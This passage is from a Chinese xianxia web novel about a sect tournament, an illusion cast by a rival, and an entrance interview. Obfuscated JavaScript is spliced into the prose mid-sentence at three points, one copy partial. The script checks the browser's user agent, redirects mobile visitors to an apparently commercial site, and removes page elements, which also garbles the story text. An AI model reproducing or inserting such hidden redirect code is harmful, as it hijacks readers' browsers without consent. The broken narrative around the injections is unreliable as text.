她这阴险女人,穿玄衣倒比白衣合适。可她什么时候穿过玄衣? 这是很荒谬的念头。陆青青慢慢地想。她的思绪也好似凝固了。 一丝冷香袭来,带着抹淡淡的腥气,陆青青回眸望去。 衣袂如墨的女人立在她身后。清冷绝俗的容颜,眉目却不复往日的冷淡,似含着一丝异样情愫。 陆青青回转身,与她相对而立。 女人抬起手,轻轻抚上她的脸颊。 指尖带着一丝微凉的触感,陆青青浑身一震,却没有躲开。反而微微偏过头,主动将脸颊贴上那只微凉的手心,像在贪恋着蜜糖的孩子般,亲昵地挨蹭着它。 陆青青混沌又迷惘,我不要……我为什么要这么做呢? 明润的双眸却微微向上,望向女人。 女人也望着她,目光深若寒潭。 倏而,她踮起脚来,仰头凑近女人的面颊,似要同她相吻一般。 这太奇怪了。但究竟奇怪在何处,她却想不出头绪来。 女人也慢慢地低下头来,似要吻上她。 就在这时,她看见了,女人的眼底,分明还藏着一双竖瞳,蛇类的竖瞳! 那竖瞳一触到她的目光,忽然剧烈闪烁起来。女人的面容开始一点一点溃散,渐渐变得透明,很快化作点点细碎的光尘,消散得无影无踪。 喧闹声像潮水般涌来。 陆青青混沌的神智猛地回笼。 再抬眼,苏文齐仍僵在擂台中央,眼底却凝着几分疑惑,似是不解她为何突然定在原地。台下的喧闹声翻涌而来,同门们的目光落在她身上,带着审视和疑惑。 方才那一切,是幻境么? 那女人和臭蛇联手给她造的幻境? 幻境中,似有人在牵引着她的一举一动,她身不由己,只能任凭造境者摆布。 陆青青不及思索,敛了眸底的惊惶,定住心神。周身灵力重新细密流转,稳稳裹住掌中的灵火——方才幻境扰神,灵火已弱得只剩一点荧荧微光,再迟片刻,怕是便要灭了。 苏文齐似是终于回过神,见她凝势待发,忙敛了疑惑,抬手催动灵力护住自己的灵符,眼底多了几分警惕。 他虽修为稍弱,却也察觉出陆青青方才那瞬间的失神,竟想趁机反扑,指尖一道淡白灵力直逼陆青青面门。 台下响起几声低呼,似是没想到苏文齐会突然发难。 陆青青岂容他趁虚而入,她脚步轻错,身形如燕掠开,避开那道灵力的同时,手腕翻转,一缕极细的灵力轻轻弹出,不偏不倚撞在苏文齐托着灵符的手腕上。 苏文齐吃痛,掌心一颤,灵力护持顿松,那团灵火便如风中残烛,“噗”的一声灭了。 演武场之上,霎时静了一瞬。 唯有陆青青掌中的灵火,在历经惊扰后,反倒燃得愈发稳了,淡金色的火苗跳动着,映得她眼底清明,没了半分方才的混沌。 台下随即爆发出阵阵欢呼,观礼的执事弟子抬手轻敲桌案,声音透过灵力传遍全场:“陆青青,胜!” 陆青青得意之际,仍不忘嘲弄对手:“怎么样啊,苏师兄?” 苏文齐一张脸煞白如纸,过了一时,竟猛地跪倒在地,呜呜咽咽地哭起来。 陆青青本欲再嘲弄两句,见他这般哭哭啼啼,登时没了作弄的兴致,只觉恶心至极。她还没怎么料理他呢,怎么就哭天抢地眼泪鼻涕一大把了?输了也不至于这样吧,本来比试就是各凭本事,他这么一哭,倒好像她欺负了他似的。 她不再理会,心中回想起方才的那一幕古怪幻境,放开五感,望向青云台四周,却并未寻到那坏女人的身影。 * 修炼室内,谢玄微缓缓睁开了眼睛,对上眼前的灵蛇。 玄渊灵蛟蛇身直立,一双竖瞳紧紧地盯着她。 她摊开手,手心仿若还残留着,来自少女面颊的温润暖意。 是这只灵兽,引动了她心中 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她素来不喜宗门俗务,常云游各处,或寻到一处合意之地,便落地静修,对于弟子的功课,倒是难得问一回。 见谢玄微起身行礼,她只摆了摆手,道:“你我师徒,不拘那些俗礼。” 谢玄微应了声是,便静静侍立于一旁,不发一语。 灵音长老知晓她脾性素来冷清寡言,不以为怪,往她周身打量了一番,说道:“我知你昨夜破境,故而今日在此静修,不曾往青云台去参加大比。” “正是,师尊怎知?” “你所结的结界,不够圆满,漏出些灵气震动来,我还不知么?此事倒也不值一提。你能一夜破境,不足弱冠便升至金丹境,自是难得,却也在我意料之中,毕竟你天资秀质,又自小苦修。可我又听闻玄渊灵蛟现世,正应在你的机缘上,此事我却不得不提点你一二。”灵音长老道。 谢玄微:“玄渊灵蛟?” “正是。”灵音长老指尖微动,一条小黑蛇便自谢玄微大袖中掉出,在地上惊慌游动,“便是此物。你生在玄门世家,却也不知它的来历么?” 谢玄微垂首,“弟子驽钝浅薄,还望师尊赐教。” “此物秉水脉阴气而生,非妖非灵,却能引动幻境,勾人心绪,最擅窥探修士心底执念。百年前,宗门修士们竞相争抢于它,只因它助人达成所念,你心中最渴望之事,它便能尽数织入幻境,初时只是以假乱真,渐渐却能将幻境转为实质。因此之故,它还有个别名,惑心缠妄。” 惑心缠妄。谢玄微在心底默默重复了一遍。 恰如其分的名字。 “弟子浅薄,不知其来历,原想收它为灵宠,既闻它如此邪异,还请师尊将其封印。”谢玄微道。 灵音长老摇首道:“不可,此物秉天地灵气所生,非寻常灵兽可比,现世的这百年,乃不死不灭之身。且它已认你为主,他人便是夺去,它亦会回到你身边。” “那么弟子该如何处置它,请师尊示下。” 灵音长老轻轻叹了口气,道:“此物乃你的机缘,只不知吉凶,因它亦有祸世之征兆,此事我日后会与天衍处相议。为今之计,你只需固守道心,切勿为它的幻象所扰,以免引发心魔。切记,你修为越强,道心越稳固,便越能从心所欲地驾驭它,令它为你所用,助你增进修为,反之,只会被困于幻象之中,一生为它所迷。” 说到此处,灵音长老顿了顿,似是回忆起了什么往事,她道:“好在,你家传所修乃清净道,从小便少欲寡思,绝情弃念,一心求道,想来驾驭此物,应是不难。日后,若能将其炼化入体,你必得修为大涨。” 谢玄微轻轻颔首:“多谢师尊教诲。” 修炼室石门合拢,灵音长老的身影消失不见了。 “少欲寡思,绝情弃念。”谢玄微轻轻念出这一句家训,看着那小蛇慢慢爬上自己的手臂,大袖落下,掩住了她微微蜷起的指尖。 15. 第 15 章 陆青青在青云台上逡巡一周,未找到那作恶使坏的谢玄微,却寻到了姗姗来迟的陆青辞。 陆青辞依旧一身粗布宽袍,穿得随性散漫,却掩不住一身清濯如竹的风骨。 陆青青立刻提起裙摆快步奔过去,亲昵地挽住她的胳膊,雀跃不已:“阿辞,你怎么才来,都没看见我刚才赢他们的样子!我把他们打得落花流水,哭爹喊娘呢……” “啊,好。” 陆青辞一面往执事弟子处递名帖,一面应付缠在她手臂上的陆青青。 以往,陆青青只有在心虚理亏或得意忘形或有求于她的时候,才会唤她阿辞。此次自然也不例外。 陆青辞略想了一想,大概是前两者皆有吧。 陆青青炫耀完战绩,见她只是随口敷衍,便安静下来,小声道:“阿辞做什么去了?” 说着,抬眸望她,眼神里有一点小小的试探和心虚,唇角也轻轻抿起了。 对上少女殷殷的眼眸,陆青辞只是漫不经心地道:“啊,我睡过了。” 陆青青这才放松了唇角,莞尔一笑,道:“阿辞越来越懒散了呢,还好没错过今日大比。这回,阿辞可不能输啊,不然,就不能和我一同入内门了。” 陆青辞随意应了一声,从怀中取出一个油纸包,递向陆青青。 “什么?阿辞给我的么?” “嗯,吃不下了。” 陆青青打开,里面竟是她最爱吃的桂花酥。 陆青青微微讶然:“阿辞下山去了么?怎么会想起给我买这个?” 当然,她下山寻她去了。她已经寻了她一早上了。这就是为什么她来晚了。可也怪她说话太怪,问了个执事院修士,那修士听得半懂不懂,含糊地教她下山找找。 陆青青往日时常在她耳边细数谢玄微的邪恶阴险,正逢大比,陆青辞料想她许是下山采买对付这个阴险女人的秘密武器去了。故而也未多问,便下了山,到镇上寻了几遍,一无所获。路过一家点心铺,便停下来,买了一包她常爱吃的桂花酥。 “顺手买的。”陆青辞道。 陆青青不用细思,就知晓她说的不是真话,正要再问,已有执事弟子报了陆青辞的名姓。 是她上台比试的时候了。 陆青辞将袖口随意一挽,抬步便往擂台走去。 陆青青攥着那包还带着点余温的桂花酥,站在台下用力挥手:“阿辞必胜!一定要赢啊!” 她这般喊过一回,便取出一块桂花酥放入口中,一面品尝,一面心思已飘到了别处。 方才那场幻境太过真切,谢玄微究竟使了什么诡计,竟教她做出了那般古怪的行止。 真是可恶,倒像是要轻薄她似的,还要她主动凑过去,可恨,可恨! 可奇怪的是,周遭并无那谢玄微的身影。 * 演武场上,陆青辞身形轻晃,避开对手攻势,宽袍翻飞间,不见半分慌乱,反倒透着一股漫不经心的从容。 她本就根骨清奇,只是平日懒散不喜用功,此刻认真起来,灵气运转沉稳有度,指尖轻捻法诀,清越醇厚的灵力似有若无地荡开,竟将对方攻势层层瓦解。 身法招式,尽显飘逸潇洒。 陆青青本来心猿意马,一面想着谢玄微那坏女人,一面看着陆青辞与人相斗,谁知慢慢竟移不开眼了。 阿辞什么时候变得这般……这般厉害了? 明明她记忆中的陆青辞,还是个异常固执顽劣的孩子,会很幼稚地问她一些蠢话,什么修仙宗门会不会看不上她们,什么进去要不要打架之类的。 回想起来,陆青青都忍不住想笑。 台上,陆青辞动作行云流水,没有一丝滞涩,那是骨子里的根骨清奇,哪怕平日疏于修炼,这份从容飘逸,也远胜寻常弟子。 即便面对对手的凌厉攻势,她也只是微微侧身,足尖辗转间便轻松避开,衣袂翻飞如流云,眉眼间依旧是那副浑不在意的模样,仿佛眼前的较量,于她而言,不过是闲时消遣。 甚至,她的目光还不经意地朝陆青青望来。 这时,一阵吵闹声传来,数位平常便时时留意陆青辞的女修蜂拥而来,挡住了陆青青的视线。 陆青青冷不丁给夹在人潮中央,左摇右晃,耳边是女修们乱七八糟的喝彩声:“陆公子!陆师兄好彩!陆师兄必胜!陆师兄好俊的身法啊!” 陆青青:什么陆公子陆师兄?她是你们的陆师姐啊。睁开眼睛仔细看看好不好? 可她根本插不上口,朝看台这边涌来的人越来越多,甚至还来了十几位男修,仗着人高马大,看得清楚,在那儿七嘴八舌地解说陆青辞的身法招式。 陆青辞本就生得眉目清隽,身形挺拔,平日里又不爱穿女修常服,只一身素色宽袍松松垮垮罩着,长发束起,气质疏朗如竹,不知情的人一眼望去,只当是位容貌俊美的男修。 久而久之,“陆师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537244|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄”的称呼竟在弟子间悄悄传开,不少外门弟子都真心将她视作惊才绝艳的同辈翘楚,倾慕者数不胜数。 陆青青被挤得身形踉跄,好不容易才稳住脚步,心下烦躁:这群人眼瞎也就罢了,偏生还吵得人心烦意乱。欲以灵力震开这些碍事的家伙,又怕扰了台上的陆青辞。 她们可是约好了,要一同进内门的。 陆青辞的身法虽同她的人一般,带着点漫不经心的散漫,可是招式却奇快,很快便已赢下四场。 周遭的修士来了一波又一波,陆青青身不由己地给挤到了演武场台前,这个位子离得虽近,可却不能观览台上人全貌,陆青青勉力仰头去看。 此时,演武场上已只余三位修士了,那两位修士似是同盟,脚步腾挪间,总不离左右,紧紧地盯着眼前的陆青辞。 可修士以实力为尊,狭路相逢,有时并不是人多便能胜的。 劲风骤起,陆青辞指尖灵力一凝,一道淡青色灵气荡开,两位修士猝不及防,脚下一滑,径直跌出擂台之外,手中燃着的灵符自然也一并跌灭了。 执事弟子高声唱名,宣布陆青辞胜。 台下瞬间爆发出更热烈的欢呼,喝彩声几乎要掀翻青云台。 陆青青望着台上挺拔如松、衣袂轻拂的少女,明明是再熟悉不过的人,此刻却忽觉有几分遥远。 她咬了咬唇,垂眸,看向藏于怀中的桂花酥,她才吃了一块,却要给这些好事的人给挤坏了。 * 台上,陆青辞眉眼垂落,透着几分拒人千里的疏离,仿佛周遭的喧嚣与她无关。 略调息一瞬后,她的视线,寻到了被挤得东倒西歪,正拨开人群往外去的陆青青。 陆青辞眉峰微蹙,懒怠的眼眸里升起几分不易察觉的不耐,却无半分戾气,指尖轻轻凝起一缕灵力,在虚空中画出一页符帖,看似随意一扬,周遭拥挤的人群便被一股温和却不容抗拒的力道震开,纷纷踉跄着后退。 她没多余言语,步下演武场,径直走向陆青青,稳稳搭上她肩头,指尖轻轻摩挲了两下,语气依旧懒懒散散:“慌什么?被挤坏了也不怕,回头再买。” 陆青青微怔,回过身,见周遭修士都注目于陆青辞,而陆青辞却只看着自己,嘴角忍不住微微上扬,抬手抓住陆青辞的手,骄矜道:“知道啦,阿辞可不许骗我,说到要做到。” 陆青辞眉间微微一动,反手握紧少女的手,牵着她走出人群。 16. 第 16 章 两人行了一路,陆青青始终默不作声,陆青辞紧握着少女湿热的手,亦只是默默。 那路过的修士,目光纷纷投了过来,落在陆青辞清隽的眉眼与挺拔的身形上,似乎还在议论着她在台上比斗时的风采和身法。 陆青青眼风斜斜扫过,暗自纳闷。明明她也连赢了五场,成了杂役弟子中的胜者之一,可这些人怎么只盯着陆青辞不放。 她一心想出风头,可总不能如意。这些修士们,难道看不到她么?便是在台上比斗时,为她喝彩的,也只有寥寥数人,那喝彩之人亦只是平平淡淡的,远不及对陆青辞那般热忱。 这么看来,倒是陆青辞比她陆青青风头多了。虽然前者根本没有一点出风头的意愿。 陆青青哼了一声,对陆青辞道:“怎么他们都只看你,却不看我,我身法不好么?生得不美么?” 陆青辞垂眸睨了她一眼,眼底掠过一丝极淡的笑意,带着几分漫不经心的敷衍,道:“啊,美啊,有鼻子有眼的。” “你——”陆青青气鼓鼓地朝她肩头捶了一拳。 那拳头轻飘飘的,全不似两人幼时打架那般凶狠。 陆青辞不以为意地笑笑。原来先前在演武场,是为这个生气了,却不是为了桂花酥,怪不得一路都闷闷的,全不似平日里那般好动活泼。 陆青青发泄完,想起自己今日战绩,愈发生出一点不平之气:既然无人为她喝彩,那她便要自己为自己喝彩,要昭告天下。 她双手拢在唇边,拔高声音朝周遭大喊:“我是陆青青!方才我也赢了比试,打败了你们所有人!从今往后,我就是内门弟子啦!” 话音落下,周遭修士才纷纷回过神,纷纷乱乱的目光落在陆青青身上,有惊讶的,有赞许的,还有些许疑惑不解的。 陆青青正得意间,忽听一声巨响,似是结界被灵气冲击的声音。 众人皆循声去望。 “是结界破了?” “长老设下的结界,怎么会被冲破?” 陆青青气呼呼地,也朝那声音传来的方位看去。 方才好容易才凝聚在陆青青身上的目光,短短几息,便尽皆去了。能不气么?只能怪这弄出声响的人,早不来晚不来,偏要赶上她陆青青大出风头的时候来。真是不会瞧她陆青青眼色啊! 忽有人激动万分地喊道:“那是内门弟子的演武场啊?莫非又出了个天纵奇才,觉醒了——双灵根?” 立刻便有人连连否定:“决计不会,谢师姐那般天才人物,百年也只得一个。哪里去寻第二个去呢?” “正是,别昏了头,信口开河,倒教小人平白来沾了谢师姐的风头!” 陆青青狠狠地白了那几人一眼。 好好的,怎么又夸到那谢玄微身上去了?觉醒了双灵根,便可以横着走了么?怎么就断定没有第二个呢?万一她陆青青就是那第二个天纵奇才呢? “说得是,咱们且快过去瞧瞧,看看是不是有人受伤了。” 有个外门杂役修士道:“诸位未免太过大惊小怪了吧,内门弟子所比试的,自然是高深功法,招招凌厉,皆是要将对手制服,有人受伤,有人给打得跌下台,倒也不稀奇啊。” 有人插口道:“非也非也,同门比斗,皆是点到为止。” 陆青青听此人声音耳熟,一看之下,却是那手摇折扇的宋时安。 怎么到处都有他?这人是个长舌王么? 宋时安可不知她心中腹诽,只轻飘飘地摇着折扇,同修士们讲解同门比斗的规矩。听他所言,同门相斗,若是致使一方受了重伤,那么便是犯了宗门戒律,不止要当众受鞭刑之罚,还要禁足思过足足三个月,以示惩戒。 过了一时,已有人从演武场那边探听了消息过来。原来那受伤之修士是名唤石山的,是长老的弟子,入门多年,修为高深,今次比斗本有夺魁之势,谁想比斗正酣之际,忽然间走火入魔,周身灵气不受控地泄出,碰上结界又反弹于自身。在这般冲击之下,才跌下青云台,吐出好大一口黑血。 陆青青听了,倒有些乐了:这下好了,日后有人说起摔下青云台的,可就不止她一个了。这位叫石山的倒霉修士,倒大大替她分担了些口舌。 她抬头,欲把心下所想同陆青辞说一回。却见陆青辞只是垂眸看她,方才众人所议之事,竟半点没入耳。 陆青青心道:“阿辞盯着我做什么?”心下却有些心虚地了然,许是因今日并未如约去寻她一起来青云台,她口中不提,只待自己自发生出愧意。 陆青青往日飞扬跋扈,对谁也不放在眼里,只有在陆青辞面前不同。两人自小一同长大,情谊已非比寻常,在江湖上相依为命那几年,又是陆青辞照顾她颇多。 那时候,陆青辞自己饿着肚子,也要偷东西给她吃,即便因此被打得浑身青紫,在她面前也依然不露神色。 还有一回,两人偷包子被店主发现,放狗追赶,是陆青辞将她紧紧护在身下,全不顾自身被狗撕咬,直到过路之人看不过去,前来搭救,陆青辞已遍体鳞伤,还牢牢抱她在怀里,安慰她,教她别怕。 由此,两人几乎算是过命的交情。性情恶劣至极,深觉全天下之人都亏欠自己的陆青青也不得不承认:陆青辞是世上第一等待她好的人。入了宗门后,但凡她得了什么好东西,也只肯与陆青辞同享,旁人可是碰也碰不得的。 人群中,宋时安折扇一敛,道:“那受伤之人果然是石兄啊。我早说他近日有血光之灾,他却不肯避一避,如此倒正应了此劫。” 说着说着,他似是发现了人群中的陆青青,疾步朝她走来,陆青青的神思正放在如何诡辩哄陆青辞原谅一事上,不防他骤然走近,待要走开已躲闪不及。 只听得他道:“陆师妹,我观你吉光满面,定是有喜事,今日比斗,莫不是大获全胜了?” 闻言,陆青青心下微喜,心想,倒还说了句人话。不过转瞬又记起他不久之前的言语戏弄,遂只是面不改色地道:“正是。” 那宋时安道:“我猜得没错的话,身边这位小友,想来也是胜者之一了?” “正是。”陆青青不知他葫芦里卖的什么药,依然不肯多说一个字。 宋时安折扇往手心一击,道:“甚好!”说着往两人身上细打量一番,又道一句好。 陆青青只暗自警觉,提防他话中陷阱。 谁料他只是说了一句:“两位既已获胜,明日卯时问道,可来太华殿寻我,莫要忘了。” 问道?太华殿?陆青青不解其意,只以为这人又在胡言乱语。直到执事弟子递还名帖时,解释说,比斗胜者,并非直入内门,还需通过一道考核,究竟谁入内门,由长老裁定。 陆青青才明了。 这最后一道考核,自然便是问道了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李俊浑身上下没一点儿俊处,就连头脑也是不甚灵光,在杂役院时,陆青青没少捉弄他,可他天生憨直朴厚,偏也不恼,急了也只会俺俺地叫上两句。 陆青青这般逗弄他,倒也无甚恶意,只是实在不明白,这般灵智钝拙之人,怎会入得清音宗来,定要旁敲侧击,教他自己抖落出个究竟来。 后来某次,李俊被她逼得急了,才据实相告。当年入门时,长老言他灵根虽只是中品,却生有一副金刚灵体,体魄强健,根基扎实,只需开了灵智,便是可塑之材。 陆青青一听就不乐意了,她陆青青灵根上品,天纵奇才,就是因着那谢玄微使坏,才教长老嫌恶她灵体虚弱,沦落到了杂役院,怎么这人灵根不及她,灵智平庸更不如她一根脚趾头,就凭着身体强健,也能和她平起平坐了? 这李俊他有一点儿好,就是憨厚老实,对同门毫不设防。一刻前,在太华殿外一同等候时,陆青青借故搭话,悄悄往他衣摆下飞了一页传音符,借以窃听殿内之声,他也浑然不觉。 李俊走过她身边时,陆青青也不忘笑着揶揄:“原来李师兄这般苦修,是盼着当掌门大弟子呢。” 那李俊茫然了半晌,望见她手心一点灵光未灭,仍是不解其意:“陆师妹怎的知晓俺的话?” 陆青青笑道:“自然是我耳目灵通咯。” 17. 第 17 章 李俊挠了挠头,憨憨一笑:“陆师妹真厉害呢!” 陆青青笑道:“那是!你又不是头一回见识!要不你别发愿当什么劳什子掌门弟子了,来认我做师父罢,做我陆青青的大弟子。” 李俊呆了呆,连连摆手:“啊,这可不成!不成不成!” “怎的不成?你刚不说我厉害得很么?难道做不得你师父?”陆青青故意逗他,装得一本正经。 李俊笨口拙舌,一时说不出情由来,急得抓耳挠腮,支支吾吾。 见状,陆青辞道:“阿青,教他去罢,别耍了。” 陆青青听了,果然不再戏耍,敷衍两句,打发了他快走。 她往日可不会听从陆青辞的管教,今日这般乖巧,其实还是心中有愧。那日在崖洞内,同谢玄微发生的事,她只捡对已有利的说了几句,把自己说成了个受邪魔外道挟制,脱不开身的小可怜,故而次日她失约了,也没气力去寻陆青辞一道来宗门大比。 绝不是她贪慕那大蛇的威风,要出风头,才忘了去寻陆青辞。 陆青辞并不介怀。她已习惯了陆青青这般孩子般朝三暮四言而无信的性子,只是淡淡问了句:“受伤了么?” 陆青青不好再装可怜,说自己升境了,有灵气护体,还拉开衣裳给她看,教她放心。 她没察觉陆青辞怔忪的神色,还当她是终于信了,遂也放下心来,照旧对她亲亲热热,无话不谈。 昨日,得知考核是问道之事后,两人也是聚在一处谈了应对之策,相约今日必一举得胜,一同入内门。 这时,执事弟子出殿,唤了陆青青入殿。 刚入殿,陆青青便认出了那端坐于青玉案后的考官,正是宋时安。 太华殿乃是一处偏殿,其实并不大,一方青玉案,两把座椅,并一架屏风而已。 那屏风置于宋时安身后,上绘仙鹤凤凰鸾鸟等风物,隐隐绰绰,教人隐约感觉,那屏风之后,还坐着一个人,却看不真切。 莫不是长老在后面么?这回可得好好表现一下了。 陆青青这般想着,在案前坐定。 宋时安翻了翻手中名帖,笑眯眯地问:“陆师妹,可知今日来此,所为何事?” 陆青青惜字如金:“问道。” “正是!陆师妹料事如神啊,竟同我也不相上下了。” 陆青青:? 她心里翻了个大大的白眼。不是这宋时安自己跑来告知她的么?又在这儿故弄玄虚! 宋时安收了笑意,展开手中折扇,摇头晃脑地问道:“陆师妹,道心何为啊?”许是担忧陆青青听不明白,又补充道,“陆师妹入道的初心是什么?” 还能是什么?自然是修至大成,把所有欺侮她的人全都踩在脚下啊。不然,她才不修什么道呢!凡间可比清心宗好玩多了。 这是入门之前的初心。入门后,她的初心又加了一条:打败谢玄微。 当然,陆青青知道这不是正确答案。昨日知晓入内门最后一关乃是问道考核时,她便与陆青辞一同翻看过入门之初执事派发的弟子手册。册中洋洋洒洒,细细记载着清音宗的门规戒律,并历代长老与掌门的修行事迹、传世训言,其中便写明了初代掌门开宗立派时,立下的那桩万古道心—— “以音入道。执清音之锋,守世间安宁,以琴音为刃,驱邪祟,镇妖魔,护苍生,守正道。” “除魔卫道。”陆青青简单道。 “除魔卫道?”宋时安挑了挑眉,“这当真是——是至高道心啊,想不到陆师妹小小年纪,竟有如此济世之怀,怕是掌门听了,也要甘拜下风。” 虽说方才那句话是投机取巧,并非发自本心,可对方这番夸赞,教陆青青听着心里说不出的受用。 幸而她并未得意忘形,谨记着先前教训,在此人面前绝不多说一个字,只摆出一副悲天悯人坚守正道的姿态,抱着双臂,目光坚定。 怕是屏风后,那火眼金睛的长老看了,也只会觉得她是个道心稳重的可造之材。 直到宋时安又狗尾续貂,续了一句:“我记得你们人人仰慕的宗门奇葩,高岭之花,谢玄微谢师妹,也曾在问道时自述道心,誓要降妖除魔,守卫正道。竟同你不谋而合,真是——”他顿了顿,“心有灵犀啊。” 陆青青:? 好好的问道,又提那个女人做什么?什么高岭之花,呸呸呸!她要是高岭之花,那她陆青青就是朵清谷幽兰,香飘千里!还心有灵犀呢,定是那姓谢的事先知晓问道之事,悄悄同她翻了同一本书册,才胡扯出了这个远不如她境界高的道心。 似是察觉到陆青青神思飘远,宋时安小心地在她脸前挥了挥扇子。 “陆师妹,陆师妹?” 陆青青冷冷地移目向他。 宋时安问道:“我是问,若是陆师妹欲除之魔,魔力高深,无论如何,也不得诛灭,陆师妹该当如何?” 陆青青沉下气来,暂且放下私人恩怨,对着屏风回道:“精进修为,待修为大涨,自然便可诛灭它。” 宋时安追问:“那若是道高一尺,魔高一丈,修为总也无法与之匹敌呢?” 这是什么蠢人问题?果然这宋时安狗嘴里吐不出象牙来。 陆青青这般想着,口上却道:“那便不停精进修为,十年,二十年,一百年,直到可与之匹敌,再寻诛灭之法。” “也便是说,陆师妹坚信,自身定能日益精进,达成无魔不诛的境界。” 这时,屏风之后,似乎传来一道视线,正落在陆青青身上。 陆青青暗喜,想是长老留意到她了,想必也为她的无上道心折服吧! 她挺直了背脊,愈发坚定道:“自然。道心既发,便矢志不渝。” 见宋时安沉吟不语,她问道:“宋师兄,如何?我几日可入内门?”心下已然志在必得。 “啊,这个嘛,由长老定夺。”宋时安咳了一声,往身后的屏风处回望一眼,屏风后,似有笔墨落于砚台之上的轻响。 这是何意味?陆青青有些纳闷,勉强按捺下性子,心想不过再稍等一时半刻罢了,入门也就在这日内了。 宋时安对陆青青道:“请陆师妹将双手放于测灵石上。” 闻言,陆青青这才发现,青玉案左右两侧,各嵌着一枚流光溢彩的晶球。 莫不是要测灵根?她身怀上品灵根,才不怕这个。便是测境界,她也不怕,如今她炼气九阶,怕是外门弟子中数一数二的了。 双手按上去,晶球在手心缓缓转动,微微的温热。 宋时安瞟了一眼,难得又说了句陆青青爱听的:“陆师妹天资不俗啊。” 说着在面前的名贴上写了一笔,而后递给陆青青,教她回去安心等候。 陆青青低头一看,那名帖上寥寥两行,写着她的道心和境界。 道心便是她胡扯的那句,境界一行,却是—— 筑基。 她筑基了?什么时候的事?她怎么不知道? 莫非是昨日宗门大比,她在台上遇上那幻境中的谢玄微,便是破境的征兆了。 哈哈哈哈,想不到她的破境竟如此顺利啊。 她按捺喜色,暗自得意,深觉自身天资超凡,不知不觉就跨入了筑基境,不像那谢玄微,差点失心疯了才破境。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537246|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今,自己比她也只是稍逊一个境界罢了,只要入了内门,得了座师授业,超越她岂不是轻而易举,真是可喜可贺啊! * 一个时辰后。 最后一位问道的弟子步出太华殿,厚重大门缓缓阖上。 殿内安静下来,宋时安收起折扇,起身绕到屏风后。 屏风后,谢玄微端坐于蒲席之上,一袭广袖白衣,墨发委委垂落,周身气韵清冷出尘,宛若松间寒月,世外孤仙。 她面前的案几上,搁着一叠写好的名帖,字迹清丽,墨迹半干,一看便知,其人笔法受过名师指导。 对于此,宋时安一点也不奇怪,毕竟他入门早,又在天衍处长大,对修仙界玄门世家了解不少。其中有一派隐修世家,家主品性高洁,精通玄门道法,不求飞升大道,只为除魔降妖,乃修仙界的清修隐士。家中弟子亦只在凡间行走,护卫一方百姓。 这世家家主姓谢,名曰谢空山,而谢玄微,正是那谢空山之女。 “如何?”宋时安在她对面坐下,给自己倒了杯茶,“这些人里,可有入得了谢师妹法眼的?当下便可教他入得内门来!” 他和谢玄微皆是为长老器重的亲传弟子,往日也时常会面,受长老所托一同共事,虽然谢玄微自是冷冷清清,但宋时安自觉同她交谈过几句,可谓是相熟,言谈间也极为熟稔。 “你我只是代长老录下名帖,遴选一二提名,至于何人入门,不可徇私,需由长老定夺。”谢玄微淡淡地道。 长老们不亲自露面,而是指派名下两位弟子代行问道之事。往年,亦常有此例。被指派来的弟子,必是长老所看重的首徒,人品、修为皆为上品。 而之所以一人位于台前,一人隐于屏风后,分别录写名帖,记录来问道弟子的所言所行,为的是公正,避免个人专权独断,依个人好恶来评判弟子。 话虽如此,宋时安却一眼看见了,那案几上堆叠的名帖,并不是按序叠放的,有一页最显眼的名帖,是陆青青的。显然录名帖之人,将这页帖细细观览过多次。 宋时安见此情状,顿时来了兴致:“啊,这位陆师妹,可真是——真是锐不可挡。不过也才十六岁,入门只六年,就已跨入了筑基境,这在外门弟子中可是凤毛麟角啊。说来她昨日还同谢师妹一同乘龙来到青云台……谢师妹,当时真是仙人之姿啊,令我等好生钦慕。我猜定是那陆师妹受伤了,被谢师妹随手解救,应不是谢师妹看中了她……” “她问道之时,面上倒是有一些骄横之气,但话又说回来,哪个少女没有锐气呢?未长成的小姑娘,都深信自己无所不能啊。倒也不是什么大毛病,说不定机缘一到,还真能做出一番成就来。” 宋时安自顾自絮絮叨叨地说了两大篇,见谢玄微只垂眸不语,住了口,摸了摸鼻子,简明扼要道:“我看这陆师妹不错,修为高深,天资不俗,道心亦同谢师妹有异曲同工之处,谢师妹意下如何?” 谢玄微目光落在那“除魔卫道”四字上,神色淡淡:“宋师兄说的是哪位陆师妹?我所录名册中,有两位陆师妹。” 宋时安回想了一阵:“还有哪位陆师妹啊?”突然间,他似想起了什么,恍然大悟,道:“哦,不对,是还有一位,另一位陆师妹也不错啊,心怀天下,境界亦是筑基,这两位陆师妹都不错。当然,择选哪一位,还待由谢师妹定夺。” 谢玄微抬眸,目光在他面上停了一瞬,便又落下。她轻轻拈起两页名帖,道:“那我便将这两位弟子的名帖呈于长老。” 宋时安:…… 这提名似是全由他定夺了,可他怎么总觉得,似乎,好像,有哪里不对啊? 18. 第 18 章 从一开始看到那页名帖,他就已经被牵着鼻子走了吧? 宋时安郁闷了一瞬间,摸了摸鼻子,便想开了。谁教他是工具人呢?工具人自然要服务于天命之人啊。 